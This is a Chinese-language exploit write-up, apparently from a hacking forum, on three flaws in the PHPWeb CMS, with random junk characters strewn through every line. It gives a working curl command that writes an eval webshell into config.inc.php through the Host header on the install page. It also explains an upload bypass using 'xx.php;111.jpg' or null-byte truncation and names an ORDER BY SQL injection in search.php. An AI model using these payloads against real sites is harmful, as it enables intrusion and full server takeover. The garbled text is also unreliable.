注入:
) P* t2 A/ o3 V9 z5 x" Z# j- }7 `; r0 E+ {" _5 L) J
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
+ l4 H$ T: }! \; ~& P) V
( S _/ F7 k( m9 B0 J$ t8 s鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
8 t R" J/ m; X' G! h2 f( t: ?! S鸡肋2: 有一定安全常识的站长都会删掉 install 目录
# t5 O+ x9 c* _$ O9 [1 p ( w1 h; M- q; J: N. m
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
2 k8 F( K9 O! Y+ E. _& z9 E: p# g0 Z
* R2 q5 t* _. i. C分析:: d2 X8 Q' w8 h7 a/ f
4 v+ Z; S9 N$ _* A+ Q3 I/ ?
0 ^6 }( q8 r, n) ]7 O% F8 W$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
3 A) @/ x0 s( E9 H- `
" L0 q8 x9 W# J6 t& s $filestr = fread(fopen($SysConfigFile, 'r'),30000);
* C3 A. w! O3 x: c5 h. X' V/ u $filestr=str_replace(" ","",$filestr);: v& U/ I8 a6 S1 M! W0 v$ L
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);, a3 U/ @: W7 A
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
: h1 o! a% v' g, ~) c& p $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
- [ y2 u7 H( X- W- g $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
0 s) ?# t4 b3 l) T4 E $filestr=str_replace("DefaultsLan","zh_cn",$filestr);' z5 m5 f ~6 L) C
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
+ J5 y/ y: U$ b( o( d9 B6 s $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);1 p$ q3 W4 j- \ T3 _& ]' U7 L
3 I6 k* F# S7 d6 b- p6 ?
fwrite(fopen($ConFile,"w"),$filestr,30000);8 A% m: s5 R, Z8 k: v1 h
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
. v5 w( H' ?; J) Q
5 u2 W4 ~7 e M+ ?poc:% a/ j; ]' l) ~9 d1 Y: J7 f
/ z4 {- f u6 W' z( Y?
' ?, L8 n& y. n5 Q* j1
6 X! z0 A, Q% A- [. [curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
5 ?# U1 z7 {0 X) R/ X& Z* \" n7 Zshell地址: /config.inc.php j; U" Z0 Y6 }" d
跟之前的 phpcms一样 需要远程数据库
; u$ G9 M+ ~% g* y% h1 s # _4 x' q6 E1 o
——————————————————–$ Y5 E9 S7 d ]$ [. F0 ]3 }
上传漏洞(需要进后台):
% h' h+ p r8 f! k8 y漏洞文件: /kedit/upload_cgi/upload.php1 D0 Y4 S3 T% ?4 d5 r6 h
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用1 X6 Y# ]$ y5 z% g# Y9 {( O" ^
, M' c# `2 r0 _3 M! P9 E
7 R; A5 l# w# S! C
<?php
) M) \3 d' M2 t/ b define("ROOTPATH", "../../");
5 V+ X- N, i- z/ S/ n9 W include(ROOTPATH."includes/admin.inc.php");
9 j4 g. O2 g, w6 c5 Q' @ NeedAuth(0);3 V, n# B( o1 C( X+ l* w
/ ?0 A4 C" G1 ^- t $dt=date("Ymd",time());
7 K# Z8 K4 E! r4 j if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){! s1 [! [2 P7 ?2 F/ U5 U7 q
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);9 j' u3 t0 x/ \3 k& v; Q. Y
}
5 S! q+ y" m5 Z ? D8 R4 F; m% K0 R ' J. N0 [: k7 L$ _
//文件保存目录路径
5 R9 i! Y: B* E) k6 u $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';7 ]) ?. r* s, t. D- S
echo $save_path;
1 y5 R" \! }% [( O: B3 G- P: O //文件保存目录URL1 z+ v: V. w/ i! v
$save_url = '../../'.$_POST['attachPath'].$dt.'/'; d* w y' B: y7 r$ X' m, B2 n
6 V- S# B/ \/ s. I* g& y! l8 _
//定义允许上传的文件扩展名2 W1 I( a: r4 C3 d
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀8 q7 p6 q1 P& ?; O2 d) Y
! L' X' A! a9 ^/ ^5 t
//最大文件大小, J7 ]" S0 Y; C. `4 `1 i
$max_size = 1000000;
# E E* a5 t6 P9 y7 j: _
# g+ ]3 v! f) G //更改目录权限( g& E# I7 J* a, Z
@mkdir($save_path, 0777);9 W0 Y% m/ g4 E) O
: B4 v, P& S$ v% G) Y //文件的全部路径( h8 M: U4 h; e# A
$file_path = $save_path.$_POST['fileName']; //保存文件名
8 K$ C% h+ J. A' j+ B. Y
]* U" f: i. z1 K2 D% ?0 w. y //文件URL
( }& r' c a) l" w- c( i( W- D' r4 R' A' D $file_url = $save_url.$_POST['fileName'];/ v+ g4 |1 ~% \; [3 B5 o$ M5 Q- U
//有上传文件时# w" x/ w+ Q' W4 T) f( f
if (empty($_FILES) === false) {
) V# K: |% K# J2 x! G
7 j5 H+ O4 @3 G //原文件名
. u2 k+ N2 x0 W" G1 ^ $file_name = $_FILES['fileData']['name'];% T s8 K* n' I/ w
//服务器上临时文件名
& F0 d- t6 ?# G7 W $tmp_name = $_FILES['fileData']['tmp_name'];
" l' [4 }3 l( y2 Z //文件大小
* y9 i) Y7 V1 H. f" R S+ j $file_size = $_FILES['fileData']['size'];
0 d9 Z' k' p6 y4 d- E A) A2 t //检查目录1 ^1 z1 I# E4 m8 Y0 A/ f' L4 f
if (@is_dir($save_path) === false) {
& _- X- E: r; r7 m1 E% L7 | alert("上传目录不存在。");
5 X; z- I! O* k, y; w7 V6 i3 Y0 K }
3 F) }# r! k3 w- X //检查目录写权限
" x9 }: b0 y. [( e1 z if (@is_writable($save_path) === false) {& `; O2 w' @7 a' |8 s7 t
alert("上传目录没有写权限。");$ M3 W" S' m3 M+ l: r" V6 V
}4 g$ H7 S% t) j5 J" o# w9 I9 J
//检查是否已上传
2 z# v# J5 | [7 _ if (@is_uploaded_file($tmp_name) === false) {
1 y4 m8 P6 J8 P' g+ t7 }% y, H alert("临时文件可能不是上传文件。");
) [3 w, A8 h8 V }/ k, r1 O% X# D+ G* V
//检查文件大小
$ f& E1 t5 u2 ^% N. U9 J if ($file_size > $max_size) {! j8 V: j- r2 k$ F! y6 [1 J( f
alert("上传文件大小超过限制。");2 m9 N6 H8 {7 o' s- I9 E
}
# |/ m% T8 _. `% O4 u& } //获得文件扩展名
0 Q. u) G1 r5 X2 @, J $temp_arr = explode(".", $_POST['fileName']);
3 S- I. O' E/ e ^+ I8 T $file_ext = array_pop($temp_arr);4 k- w. F- |( e2 x" c$ ?, }# E
$file_ext = trim($file_ext);3 i8 x# X! e& x7 ^1 G/ h
$file_ext = strtolower($file_ext);0 X) ?3 Q, x! Y- } d/ c: |
. C2 c- B4 _, M @0 U
//检查扩展名 5 W6 i( c) Y3 g7 ?$ ]' o9 c
if (in_array($file_ext, $ext_arr) === false) {
% G2 A' K5 d! W$ ^- V2 s9 V alert("上传文件扩展名是不允许的扩展名。");
0 d& ?7 Y- j# L$ u& Z }8 ]& r# b. g" L& n: m
3 h) l6 n8 T0 A
//移动文件
7 }7 G# Y' B# P; S# v //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^* u8 u" h, ~8 H+ y& y
if (move_uploaded_file($tmp_name, $file_path) === false) {+ G$ C! ^9 y# ]# p. K
alert("上传文件失败。");' G( X3 h* O9 V5 M
}9 A: \. g, u1 _# a
/ V- h- u* D5 v g$ B6 [; H7 Q @chmod($file_path,0666);# Q2 a" @* s/ I" \$ F( F6 {
2 w2 U! k- v9 u, N
?>! w4 i! u9 j/ I7 G2 X4 F$ K# }; \
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
* O/ h; y. g+ H! I$ Q' a! D ' I Q+ |1 M+ j8 k! v7 a
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过/ N5 X" m( T+ q
' K9 ^3 ]" D+ J. }——————————————————
/ B8 r F! c5 A2 T2 u注入漏洞:
& [7 D; m& K& u0 c6 U" D1 r M漏洞文件:search/module/search.php
$ W* {3 [; u/ s/search/index.php?key=1&myord=1 [sqlinjection]8 o- X2 C$ S- u6 C6 P6 O3 R# B' N
1 l+ U9 M! F2 Q0 u5 P6 _ 6 K% i5 l7 u# P. n5 Z& Q/ C& H
<?php3 ?& Q7 e) w3 L+ X2 \
// ... 省略 n 行...
& Q4 W* c2 f' r" C( C. f2 u( m //第18行:0 g6 L1 I# G" {8 ]/ y, E
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响- Y2 h) c% i$ L9 S+ ~
$page=htmlspecialchars($_GET["page"]);, K: m$ e! y+ K7 U& ^& v6 X% G2 I
$myord=htmlspecialchars($_GET["myord"]);, l# @7 X# e! o5 g7 i# ^2 u8 ?
, Q5 b( Q) q$ S5 H8 }
// ... 省略 n 行..." @* `" ]/ N" H' V
$key,$myord 两个参数带入查询4 w, e0 l' ]7 |/ f
//第47行 $key:
. L& M1 l2 f2 U; Z ) {) {8 g N' q" s }8 F8 Z
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..4 ~& \. }' c5 u6 h; i- d9 Z* v
/ _3 N4 q' I9 I/ G' `/ g
//第197行 $myord
k+ q6 j: w. j* v $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入, E9 k( O- A8 l$ g+ d
" ~; P, {# N3 p- C ?>
- h! j+ n' y o* j8 _& ] |